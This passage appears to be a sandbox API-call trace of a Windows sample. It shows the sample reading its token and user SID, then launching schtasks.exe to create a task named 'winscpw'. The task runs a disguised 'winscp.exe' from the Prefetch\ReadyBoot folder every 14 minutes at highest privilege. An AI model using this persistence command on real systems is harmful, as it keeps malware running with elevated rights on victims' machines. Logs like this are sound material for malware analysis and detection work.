0x7feffcf56a0 [0079.701] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0079.701] malloc (_Size=0x18) returned 0xeef20 [0079.701] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0079.701] malloc (_Size=0x48) returned 0xed400 [0079.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x58793e40, dwHighDateTime=0x1d9eb0c)) [0079.701] SetEvent (hEvent=0x1f0) returned 1 [0079.707] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0079.707] GetLastError () returned 0x7a [0079.707] malloc (_Size=0x2c) returned 0xee200 [0079.707] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0079.707] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0079.707] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0079.707] malloc (_Size=0x1c) returned 0xeff00 [0079.707] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0079.707] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0079.708] malloc (_Size=0x18) returned 0xeef00 [0079.708] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0079.708] malloc (_Size=0x18) returned 0xef040 [0079.708] malloc (_Size=0x18) returned 0xef020 [0079.708] SysStringLen (param_1="S-1-") returned 0x4 [0079.708] SysStringLen (param_1="5") returned 0x1 [0079.708] memcpy (in: _Dst=0x381238, _Src=0x381118, _Size=0xa | out: _Dst=0x381238) returned 0x381238 [0079.708] memcpy (in: _Dst=0x381240, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381240) returned 0x381240 [0079.708] free (_Block=0xeef00) [0079.708] free (_Block=0xef040) [0079.708] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0079.708] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0079.708] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0079.708] malloc (_Size=0x18) returned 0xef040 [0079.708] malloc (_Size=0x18) returned 0xeef00 [0079.709] SysStringLen (param_1="S-1-5") returned 0x5 [0079.709] SysStringLen (param_1="-") returned 0x1 [0079.709] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xc | out: _Dst=0x3811a8) returned 0x3811a8 [0079.709] memcpy (in: _Dst=0x3811b2, _Src=0x381118, _Size=0x4 | out: _Dst=0x3811b2) returned 0x3811b2 [0079.709] free (_Block=0xef020) [0079.709] free (_Block=0xef040) [0079.709] malloc (_Size=0x18) returned 0xef040 [0079.709] malloc (_Size=0x18) returned 0xef020 [0079.709] SysStringLen (param_1="S-1-5-") returned 0x6 [0079.709] SysStringLen (param_1="21") returned 0x2 [0079.709] memcpy (in: _Dst=0x381118, _Src=0x3811a8, _Size=0xe | out: _Dst=0x381118) returned 0x381118 [0079.709] memcpy (in: _Dst=0x381124, _Src=0x381238, _Size=0x6 | out: _Dst=0x381124) returned 0x381124 [0079.709] free (_Block=0xeef00) [0079.709] free (_Block=0xef040) [0079.709] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0079.709] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0079.709] malloc (_Size=0x18) returned 0xef040 [0079.709] malloc (_Size=0x18) returned 0xeef00 [0079.709] SysStringLen (param_1="S-1-5-21") returned 0x8 [0079.709] SysStringLen (param_1="-") returned 0x1 [0079.710] memcpy (in: _Dst=0x381238, _Src=0x381118, _Size=0x12 | out: _Dst=0x381238) returned 0x381238 [0079.710] memcpy (in: _Dst=0x381248, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381248) returned 0x381248 [0079.710] free (_Block=0xef020) [0079.710] free (_Block=0xef040) [0079.710] malloc (_Size=0x18) returned 0xef040 [0079.710] malloc (_Size=0x18) returned 0xef020 [0079.710] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0079.710] SysStringLen (param_1="4219442223") returned 0xa [0079.710] memcpy (in: _Dst=0x337aa8, _Src=0x381238, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0079.710] memcpy (in: _Dst=0x337aba, _Src=0x381118, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0079.710] free (_Block=0xeef00) [0079.710] free (_Block=0xef040) [0079.710] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0079.710] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0079.710] malloc (_Size=0x18) returned 0xef040 [0079.710] malloc (_Size=0x18) returned 0xeef00 [0079.710] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0079.710] SysStringLen (param_1="-") returned 0x1 [0079.710] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0079.711] memcpy (in: _Dst=0x337b1e, _Src=0x381238, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0079.711] free (_Block=0xef020) [0079.711] free (_Block=0xef040) [0079.711] malloc (_Size=0x18) returned 0xef040 [0079.711] malloc (_Size=0x18) returned 0xef020 [0079.711] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0079.711] SysStringLen (param_1="4223814209") returned 0xa [0079.711] memcpy (in: _Dst=0x34da68, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0079.711] memcpy (in: _Dst=0x34da90, _Src=0x381238, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0079.711] free (_Block=0xeef00) [0079.711] free (_Block=0xef040) [0079.711] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0079.711] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0079.711] malloc (_Size=0x18) returned 0xef040 [0079.711] malloc (_Size=0x18) returned 0xeef00 [0079.711] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0079.711] SysStringLen (param_1="-") returned 0x1 [0079.711] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0079.711] memcpy (in: _Dst=0x34ddd4, _Src=0x381238, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0079.711] free (_Block=0xef020) [0079.712] free (_Block=0xef040) [0079.712] malloc (_Size=0x18) returned 0xef040 [0079.712] malloc (_Size=0x18) returned 0xef020 [0079.712] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0079.712] SysStringLen (param_1="3835049652") returned 0xa [0079.712] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0079.712] memcpy (in: _Dst=0x34daa6, _Src=0x381238, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0079.712] free (_Block=0xeef00) [0079.712] free (_Block=0xef040) [0079.712] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0079.712] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0079.712] malloc (_Size=0x18) returned 0xef040 [0079.712] malloc (_Size=0x18) returned 0xeef00 [0079.712] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0079.712] SysStringLen (param_1="-") returned 0x1 [0079.712] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0079.712] memcpy (in: _Dst=0x34ddea, _Src=0x381238, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0079.712] free (_Block=0xef020) [0079.712] free (_Block=0xef040) [0079.713] malloc (_Size=0x18) returned 0xef040 [0079.713] malloc (_Size=0x18) returned 0xef020 [0079.713] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0079.713] SysStringLen (param_1="1000") returned 0x4 [0079.713] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0079.713] memcpy (in: _Dst=0x34dabc, _Src=0x381238, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0079.713] free (_Block=0xeef00) [0079.713] free (_Block=0xef040) [0079.713] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0079.713] malloc (_Size=0x5e) returned 0xf0800 [0079.713] free (_Block=0xef020) [0079.713] malloc (_Size=0x18) returned 0xef020 [0079.714] free (_Block=0xf0800) [0079.714] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0079.715] GetLastError () returned 0x7a [0079.715] malloc (_Size=0x14) returned 0xef040 [0079.715] malloc (_Size=0x16) returned 0xeef00 [0079.715] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0079.716] malloc (_Size=0x18) returned 0xef0a0 [0079.716] malloc (_Size=0x18) returned 0xeef60 [0079.716] free (_Block=0xef040) [0079.716] free (_Block=0xeef00) [0079.716] free (_Block=0xeff00) [0079.716] free (_Block=0xeef60) [0079.716] free (_Block=0xef0a0) [0079.716] free (_Block=0xef020) [0079.717] free (_Block=0xee200) [0079.717] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0079.717] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0079.717] GetLastError () returned 0x7a [0079.717] malloc (_Size=0x2c) returned 0xee240 [0079.717] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0079.717] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0079.717] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0079.718] malloc (_Size=0x1c) returned 0xeff00 [0079.718] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0079.718] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0079.718] malloc (_Size=0x18) returned 0xef020 [0079.718] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0079.718] malloc (_Size=0x18) returned 0xef0a0 [0079.718] malloc (_Size=0x18) returned 0xeef60 [0079.718] SysStringLen (param_1="S-1-") returned 0x4 [0079.718] SysStringLen (param_1="5") returned 0x1 [0079.718] memcpy (in: _Dst=0x381118, _Src=0x3811a8, _Size=0xa | out: _Dst=0x381118) returned 0x381118 [0079.718] memcpy (in: _Dst=0x381120, _Src=0x381238, _Size=0x4 | out: _Dst=0x381120) returned 0x381120 [0079.718] free (_Block=0xef020) [0079.718] free (_Block=0xef0a0) [0079.718] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0079.718] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0079.718] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0079.718] malloc (_Size=0x18) returned 0xef0a0 [0079.718] malloc (_Size=0x18) returned 0xef020 [0079.718] SysStringLen (param_1="S-1-5") returned 0x5 [0079.719] SysStringLen (param_1="-") returned 0x1 [0079.719] memcpy (in: _Dst=0x381238, _Src=0x381118, _Size=0xc | out: _Dst=0x381238) returned 0x381238 [0079.719] memcpy (in: _Dst=0x381242, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381242) returned 0x381242 [0079.719] free (_Block=0xeef60) [0079.719] free (_Block=0xef0a0) [0079.719] malloc (_Size=0x18) returned 0xef0a0 [0079.719] malloc (_Size=0x18) returned 0xeef60 [0079.719] SysStringLen (param_1="S-1-5-") returned 0x6 [0079.719] SysStringLen (param_1="21") returned 0x2 [0079.719] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xe | out: _Dst=0x3811a8) returned 0x3811a8 [0079.719] memcpy (in: _Dst=0x3811b4, _Src=0x381118, _Size=0x6 | out: _Dst=0x3811b4) returned 0x3811b4 [0079.719] free (_Block=0xef020) [0079.719] free (_Block=0xef0a0) [0079.719] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0079.719] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0079.719] malloc (_Size=0x18) returned 0xef0a0 [0079.719] malloc (_Size=0x18) returned 0xef020 [0079.719] SysStringLen (param_1="S-1-5-21") returned 0x8 [0079.719] SysStringLen (param_1="-") returned 0x1 [0079.720] memcpy (in: _Dst=0x381118, _Src=0x3811a8, _Size=0x12 | out: _Dst=0x381118) returned 0x381118 [0079.720] memcpy (in: _Dst=0x381128, _Src=0x381238, _Size=0x4 | out: _Dst=0x381128) returned 0x381128 [0079.720] free (_Block=0xeef60) [0079.720] free (_Block=0xef0a0) [0079.720] malloc (_Size=0x18) returned 0xef0a0 [0079.720] malloc (_Size=0x18) returned 0xeef60 [0079.720] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0079.720] SysStringLen (param_1="4219442223") returned 0xa [0079.720] memcpy (in: _Dst=0x337aa8, _Src=0x381118, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0079.720] memcpy (in: _Dst=0x337aba, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0079.720] free (_Block=0xef020) [0079.720] free (_Block=0xef0a0) [0079.720] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0079.720] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0079.720] malloc (_Size=0x18) returned 0xef0a0 [0079.720] malloc (_Size=0x18) returned 0xef020 [0079.720] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0079.720] SysStringLen (param_1="-") returned 0x1 [0079.720] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0079.720] memcpy (in: _Dst=0x337b1e, _Src=0x381118, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0079.721] free (_Block=0xeef60) [0079.721] free (_Block=0xef0a0) [0079.721] malloc (_Size=0x18) returned 0xef0a0 [0079.721] malloc (_Size=0x18) returned 0xeef60 [0079.721] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0079.721] SysStringLen (param_1="4223814209") returned 0xa [0079.721] memcpy (in: _Dst=0x34dd98, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0079.721] memcpy (in: _Dst=0x34ddc0, _Src=0x381118, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0079.721] free (_Block=0xef020) [0079.721] free (_Block=0xef0a0) [0079.721] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0079.721] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0079.721] malloc (_Size=0x18) returned 0xef0a0 [0079.721] malloc (_Size=0x18) returned 0xef020 [0079.721] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0079.721] SysStringLen (param_1="-") returned 0x1 [0079.721] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0079.721] memcpy (in: _Dst=0x34daa4, _Src=0x381118, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0079.721] free (_Block=0xeef60) [0079.722] free (_Block=0xef0a0) [0079.722] malloc (_Size=0x18) returned 0xef0a0 [0079.722] malloc (_Size=0x18) returned 0xeef60 [0079.722] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0079.722] SysStringLen (param_1="3835049652") returned 0xa [0079.722] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0079.722] memcpy (in: _Dst=0x34ddd6, _Src=0x381118, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0079.722] free (_Block=0xef020) [0079.722] free (_Block=0xef0a0) [0079.722] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0079.722] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0079.722] malloc (_Size=0x18) returned 0xef0a0 [0079.722] malloc (_Size=0x18) returned 0xef020 [0079.722] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0079.722] SysStringLen (param_1="-") returned 0x1 [0079.722] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0079.722] memcpy (in: _Dst=0x34daba, _Src=0x381118, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0079.722] free (_Block=0xeef60) [0079.723] free (_Block=0xef0a0) [0079.723] malloc (_Size=0x18) returned 0xef0a0 [0079.723] malloc (_Size=0x18) returned 0xeef60 [0079.723] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0079.723] SysStringLen (param_1="1000") returned 0x4 [0079.723] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0079.723] memcpy (in: _Dst=0x34ddec, _Src=0x381118, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0079.723] free (_Block=0xef020) [0079.723] free (_Block=0xef0a0) [0079.723] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0079.723] malloc (_Size=0x5e) returned 0xf0800 [0079.723] free (_Block=0xeef60) [0079.723] malloc (_Size=0x18) returned 0xeef60 [0079.724] free (_Block=0xf0800) [0079.726] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0079.726] GetLastError () returned 0x7a [0079.726] malloc (_Size=0x14) returned 0xef0a0 [0079.726] malloc (_Size=0x16) returned 0xef020 [0079.726] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0079.727] malloc (_Size=0x18) returned 0xeef00 [0079.727] malloc (_Size=0x18) returned 0xef040 [0079.727] free (_Block=0xef0a0) [0079.727] free (_Block=0xef020) [0079.727] free (_Block=0xeff00) [0079.727] free (_Block=0xef040) [0079.727] free (_Block=0xeef00) [0079.728] free (_Block=0xeef60) [0079.728] free (_Block=0xee240) [0079.729] malloc (_Size=0x48) returned 0xed270 [0079.729] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0079.762] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0079.770] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0079.771] malloc (_Size=0x18) returned 0xeef60 [0079.771] CreateEnvironmentBlock () returned 0x1 [0079.775] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0079.775] malloc (_Size=0x18) returned 0xeef00 [0079.775] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"winscpw\" /sc MINUTE /mo 14 /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"winscpw\" /sc MINUTE /mo 14 /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xcfc, dwThreadId=0xd00)) returned 1 [0079.780] CloseHandle (hObject=0x2f8) returned 1 [0079.780] CloseHandle (hObject=0x2fc) returned 1 [0079.780] free (_Block=0xeef00) [0079.780] 